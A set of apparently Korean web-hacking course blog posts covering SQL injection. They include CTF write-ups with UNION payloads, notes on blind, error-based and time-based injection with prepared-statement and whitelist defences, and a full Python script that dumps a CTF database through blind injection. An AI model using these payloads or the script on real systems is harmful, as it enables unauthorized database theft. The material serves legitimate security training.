SQL Injection Point 2

50

flag를 찾으세요!


화면을 찾던중 SQL Injection Point 1과 동일하게 게시판의 option_val에서 sqlInjection이 가능한 것을 확인.

 

union select 1,2,3,4...... 를 통해서 선행 select는 10개의 컬럼을 가지고 있다는 것을 확인

 

information_schema.tables 에서 infromation_schema가 아닌 테이블을 확인

 

union select TABLE_NAME,TABLE_SCHEMA,3,4,5,6,7,8,9,10 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA != 'information_schema' #

 

결과 flagTable을 확인 

해당 테이블의 컬럼이 어떤 것이 존재하는지 확인하기 위해 columns조회

union select TABLE_NAME,TABLE_SCHEMA,COLUMN_NAME,4,5,6,7,8,9,10 FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME = 'flagTable' #

 

 

 

username union select 1,idx,flag,4,5,6,7,8,9,10 FROM flagTable #

 

flag 찾기 성공

'웹 해킹 코스 > 과제' 카테고리의 다른 글

SQL Injection Point 4  (0) 2023.12.20
SQL Injection Point 3  (0) 2023.12.20
SQL Injection Point 1  (1) 2023.12.18
Blind SQL 자동화  (0) 2023.12.14
CTF Athentication Bypass(Login Bypass 4)  (2) 2023.12.03

SQL Injection Point 1

50

SQL Injection 으로 flag를 찾아내자!


option_val에 Injection이 가능한 것을 확인 

 

예상되는 쿼리는 

select {컬럼} where {option_val} = {board_result} 형식으로 예상됨

 

 

username union select 1,2,3,4,5,6,7,8,9,10 #

를통해 사용하는 컬럼이 총 10개라는 것을 확인

where 절에 sqli_6를 넣으니 필터링 되는 듯하여 직접 다 찾음

flag_table 이라는 테이블 명 확인

 

username union select table_name,column_name,3,4,5,6,7,8,9,10 from information_schema.columns #

 

falg_table에 flag라는 컬럼이 존재 

확인

'웹 해킹 코스 > 과제' 카테고리의 다른 글

SQL Injection Point 3  (0) 2023.12.20
SQL Injection Point 2  (0) 2023.12.20
Blind SQL 자동화  (0) 2023.12.14
CTF Athentication Bypass(Login Bypass 4)  (2) 2023.12.03
CTF Athentication Bypass(Login Bypass 3)  (1) 2023.12.03

SQL Injection이 가능한 대상은 parameter를 서버로 요청하고 받는 곳에서 SQL Injection이 일어 날 수 있다.

단순 게시판의 검색, 로그인창과 같은 input 태그의 사용되는 곳 뿐만이 아니다.

 

CASE 1 쿠키

 

마이 페이지를 요청하는 request와 response다.

 

mypage를 요청 할 때 GET Method로 요청을 진행하지만 쿼리 파라미터에 값은 보이지 않지만 cookie에 user라는 항목을 볼 수 있다.

 

해당 페이지는 cookie에 있는 user 항목으로 mypage를 불러온다고 유추 할 수 있으며 해당 쿼리는 

select 컬럼 from 테이블 where 유저컬럼 = '___쿠키값___' 이라고 유추할 수 있다. 

이를 통해 SQL Injection이 가능한지 확인해보자

 

3가지 방법으로 테스트를 진행해보자

1. ABCD

2. ABCD' and '1'='1

3. ABCD' and '1'='2

 

SQL Injection이 가능하다면 1번케이스와 2번케이스는 동일한 값이 나오며 3번 케이스에서는 값이 나오지 않게 될 것이다.

 

CASE 1

 

CASE 2

 

CASE 3

 

위의 결과로 1,2번의 케이스는 두번 째 항목에 notthing here값이 나왔으나 3번 케이스의 경우 빈 칸이 나왔다.

첫 번째 항목의 경우 값 false임에도 출력이 되는 것을 보아 DB에서 user 값을 가져오는 것이 아닌 Cookie의 값을 그대로 사용 함을 추측해 볼 수 있다.

 


CASE 2 where 절의 컬럼

게시판의 검색을 작성자, 제목, 내용으로 검색 할 수 있다.

request를 보면 option_val=title 확인가능

옵션이 title로 념어가는 것을 볼 수 있다.

 

만약 SQL이 가능 하도록 구성되어 있다면

select {컬럼} from {테이블} where {option_val} like '{board_search}'

의 형식으로 되어 있을 것이다.

 

option_val에 SQL Injection을 한다면 

where 1=1 and title like '%1%' 형태로 넣어 볼 수 있을 것이다.

 

case 1: title like '%1%'

 SQL Injection을 시도 하지 않은 결과:

 

case 2: 1=1 and title like '%1%'

 option_val=1=1 and title: 

 

 

case 3: 1=2 and title like '%1%'

option_val=1=2 and title

 

위와 같이 직접 입력하지 않는 부분이라도 SQL Injection이 가능 한 것을 확인 할 수 있다.

 


CASE 3 order by

sort  부분을 보자

request에 sort가 추가 된 것을 확인 할 수 있다. 

sort를 사용한다는 것으로 order by 구문이 사용됨을 유추 할수 있으며 쿼리는 아래와 같을 수 있다.

select {컬럼} from {테이블} where {option_val} like '{board_search}' order by {sort}

 

order by에 SQL Injection을 사용해보자

 

case 1: order by title

sort  부분을 보자

case 2: order by (select 1 from dual union select 2 from dual where 1=1)

order by에 select 구문으로 1, 2 두개의 row가 생기기 때문에 문법 오류가 발생하므로 결과가 나오지 않는다.

이를 통해 Blind SQL Inection이 가능하다.

Ex (select 1 from dual union select 2 from dual where length(database()) = 11) -> 확인 결과 db의 길이는 11 이다.(참 조건일 경우 화면에 아무 결과 없음)

 

case 2: order by (select 1 from dual union select 2 from dual where 1=2)

거짓 조건의 경우 화면에 결과가 출력된다.

 


결론

SQL Injection은 단순 화면에서 입력가능 한 부분이 아니라 SQL로 전달 되는 모든 파라미터에서 가능 할 수 있다.

 


SQL Injection의 대처방법

SQL Injection의 대처방법은 매우 간단하다. prepared Statement를 사용하면 된다.

 

prepared Statement란 SQL 질의문을 미리 컴팡일링하여 캐시에서 사용하도록 하는 방식이다. 

이를통해 SQL 질의문을 전달 받을 때마다 컴파일 할 필요가 없기에 속도 향상에 이점이 있다 

 

부가적으로 입력받는 parameter를 제외하고 모두 컴파일링을 진행 해두었기 때문에 추가적인 SQL Injection이 들어와도 동작하지 않게된다.

 

Ex )

select * from user where userName =(컴파일)=> 10101010111010101010 ? =(파라미터 입력)=> 10101010111010101010 '팥들었슈' and '1'='1' 

위는 예시일 뿐이며 정확이 이와 동일하게 동작하지는 않는다.

 

prepared Statement를 사용할 수 없는 SQL 구문이 있다.

order by 구문이다. 

동적은 order by를 사용하고 SQL Inection을 방지하려면 입력받는 order by 구문을 화이트리스트로 관리하는 것이 적절하다.

if (sortWhiteList.include(request.getSort())) {

 // 입력 받은 sort가 화이트 리스트에 있는 경우 진행

} else {

 // 입력 받은 sort가 화이트 리스트에 없다면 기본값으로 세팅

 request.setSort("기본값");

}

PS. 구문해석하기

case 1: sotingAd=,(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)

case 2: page=1&board_id=&sorting=A.REG_DT&sotingAd=ASC;if+substring((select%20user_name()),1,1)=%27a%27+waitfor+delay+%270:0:1%27&startDt=&endDt=&keyword=

 

case1은 request의 sorting에 넣은 값으로 보여지며 +는 url encoding의 space이다. 

sql에 들어가는 구문으로 변경해본다면

select * from user order
by Ad, (case when ascii(substr((select user from dual),1,1))=0 then 1 else (1/0) end)

로 변경되어 SQL에 들어가게 되며 Ad, 뒷부분이 injection이 된다.

'user' 문자열을 1,1로 substr 하였기 때문에 나오는 값은 u 

u를 ascii로 변환하면 117이며 117 = 0 은 false 이기 때문에 1/0이 실행되지만 0으로 값을 나눌 수 없기 때문에 에러가 발생

즉 참이라면 화면의 결과가 나오고 거짓이라면 에러가 발생하기 때문에 화면에 값이 표출 않는다. 즉 blind SQL을 사용하기 위한 구문

 

case2을 url decode 하면

if substring((select user_name()),1,1)='a' waitfor delay '0:0:1'&startDt=&endDt=&keyword=

sql Injection 되는 부분은 order by A.REG_DT ASC 구문 이후가 될 것이다.

select * from user order
by order by A.REG_DT ASC;
if substring((select user_name()),1,1)='a' waitfor delay '0:0:1'

가 될텐데 

; 이후 if 문이 가능한가???

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

11차 HTML의 DOM 접근  (0) 2024.01.15
9주차 XSS(크로스 사이트 스크립트)  (0) 2023.12.21
6주차 union을 사용한 SQL Injection  (0) 2023.11.30
5주차 SQL Ijection  (2) 2023.11.26
4주차 (burp suitte)  (0) 2023.11.15
import requests
import time

URL = 'http://ctf.segfaulthub.com:7777/sqli_3/login.php'
baseData = {'UserId':'', 'Password': "1234", 'Submit': 'Login'}

def sendData(data):
  baseData['UserId'] = data
  response = requests.post(URL, data=baseData)
  data = str(response.content)
  return ("Incorrect information." in data)

def getLength(injectionStr1, injectionStr2):
  count = 0
  while(True):
    if(not(sendData(injectionStr1 + str(count) + injectionStr2))):
      break
    count+=1
  return count

def getDb(URL):
  injectionStr1 = "normaltic' and (select length(database()) = "
  injectionStr2 = " ) and '1'='1"
  dbLeng = getLength(injectionStr1, injectionStr2)

  db = ''
  for i in range(1, dbLeng+1):
    db += B_search_DataBase(i, 0, 127)
  return db
 
def B_search_DataBase(i, min, max):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring(database(),"+ str(i) +",1)) = "+ str(middle) +") and '1'='1"
  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring(database(),"+ str(i) +",1)) > "+ str(middle) +") and '1'='1"
  if(not(sendData(injectionStr))):
    return B_search_DataBase(i, middle, max)
  
  return B_search_DataBase(i, min, middle)

def B_search_TableName(i, min, max, tableIndex, database):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring(table_name,{index},1))  = {middle}  from information_schema.tables where table_schema='{database}' limit {tableIndex},1) and '1'='1".format(index=str(i), middle=str(middle), database=database, tableIndex=str(tableIndex))

  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring(table_name,{index},1)) > {middle}  from information_schema.tables where table_schema='{database}' limit {tableIndex},1) and '1'='1".format(index=str(i), middle=str(middle), database=database, tableIndex=str(tableIndex))
  if(not(sendData(injectionStr))):
    return B_search_TableName(i, middle, max, tableIndex, database)
  
  return B_search_TableName(i, min, middle, tableIndex, database)

def B_search_colName(i, min, max, tableName, colIndex):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring(COLUMN_NAME,{index},1))  = {middle}  from information_schema.COLUMNS where TABLE_NAME='{tableName}' limit {colIndex},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, colIndex=str(colIndex))
  
  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring(COLUMN_NAME,{index},1))  > {middle}  from information_schema.COLUMNS where TABLE_NAME='{tableName}' limit {colIndex},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, colIndex=str(colIndex))
  if(not(sendData(injectionStr))):
    return B_search_colName(i, middle, max, tableName, colIndex)
  
  return B_search_colName(i, min, middle, tableName, colIndex)

def B_search_colData(i, min, max, tableName, col, row):
  middle =( min + max ) //2

  injectionStr = "normaltic' and (select ascii(substring({col},{index},1))  = {middle}  from {tableName} limit {row},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, row=row, col=col)
  if(not(sendData(injectionStr))):
      if ("\x00" == chr(middle)):
        print(middle) 
      return chr(middle)
  
  injectionStr = "normaltic' and (select ascii(substring({col},{index},1))  > {middle}  from {tableName} limit {row},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, row=row, col=col)
  if(not(sendData(injectionStr))):
    return B_search_colData(i, middle, max, tableName, col, row)
  
  return B_search_colData(i, min, middle, tableName, col, row)

def getTables(dbName):
  tables = []
  
  #총 테이블의 개수
  injectionStr1 = "normaltic' and (select count(*) from information_schema.tables where table_schema='"+ str(dbName) +"') = "
  injectionStr2 ="  and '1'='1"
  tableCount = getLength(injectionStr1, injectionStr2)

  
  #테이블 수 만큼
  
  for tableIndex in range(0, tableCount):
    #테이블을 문자열길이 구하기
    injectionStr1 = "normaltic' and (select length(table_name) from information_schema.tables where table_schema='"+ str(dbName) +"' limit "+str(tableIndex)+",1) ="
    injectionStr2 = " and '1'='1"
    tableLen = getLength(injectionStr1, injectionStr2)

    tableName = ''
    for j in range(1, tableLen+1):
      tableName += B_search_TableName(j, 0, 127, tableIndex, dbName )
    tables.append(tableName)
  
  return tables
  

def getCol(tables):
  cols = {}
  for table in tables:
      cols[table] = []
      #컬럼의 개수 구하기
      injectionStr1 = "normaltic' and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+ str(table) +"') = "
      injectionStr2 ="  and '1'='1"
      colCount = getLength(injectionStr1, injectionStr2)

      for colIndex in range(0, colCount):
        #컬럼 길이 구하기
        injectionStr1 = "normaltic' and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+ str(table) +"' limit "+str(colIndex)+",1) ="
        injectionStr2 = " and '1'='1"
        colLen = getLength(injectionStr1, injectionStr2)

        colName = ''
        for i in range(1, colLen+1):
          colName += B_search_colName(i, 0, 127, table, colIndex )
        cols[table].append(colName)

  return cols

def getTableData(table, cols):
  # 데이터의 row 수 확인
  injectionStr1 = "normaltic' and (select count(*) from {table} ) = ".format(table=table)
  injectionStr2 ="  and '1'='1"
  rowCnt = getLength(injectionStr1, injectionStr2)
  
  #row 수 만큼 도는 반복문
  result = []
  for row in range(0, rowCnt):
    # 컬럼 수만큼 도는 반복문
    rowData = {}
    for col in cols:
      #컬럼 데이터 길이 구하기
      injectionStr1 = "normaltic' and (select length({col}) from {table} limit {row},1 ) = ".format(table=table, row=row, col=col)
      injectionStr2 ="  and '1'='1"
      conDataLen = getLength(injectionStr1, injectionStr2)
      
      colData = ''
      for i in range(1, conDataLen+1):
        colData += B_search_colData(i, 0, 127, table, col, row)
      rowData[col] = colData

    result.append(rowData)
  return result

startTime = time.time()

print("progran start")
dbName = getDb(URL)
print("dbName is ={}".format(dbName))
tables = getTables(dbName)
print("tables: {tables}".format(tables=tables))
tableCols = getCol(tables)
print("tablesCols: {tableCols}".format(tableCols=tableCols))

# dbName = 'sqli_2'
# tables = ['flag_table', 'member']
# tableCols = {'flag_table': ['flag'], 'member': ['id', 'pass', 'name']}

print("extract Data start")
for table, cols in tableCols.items():
  print("==================={table} table Data Start===============".format(table=table))
  print(getTableData(table, cols))
  print("==================={table} table Data End===============".format(table=table))


endTime = time.time()

print(f"{endTime - startTime:.5f} sec")

'웹 해킹 코스 > 과제' 카테고리의 다른 글

SQL Injection Point 2  (0) 2023.12.20
SQL Injection Point 1  (1) 2023.12.18
CTF Athentication Bypass(Login Bypass 4)  (2) 2023.12.03
CTF Athentication Bypass(Login Bypass 3)  (1) 2023.12.03
CTF Athentication Bypass(Login Bypass 2)  (1) 2023.12.03

+ Recent posts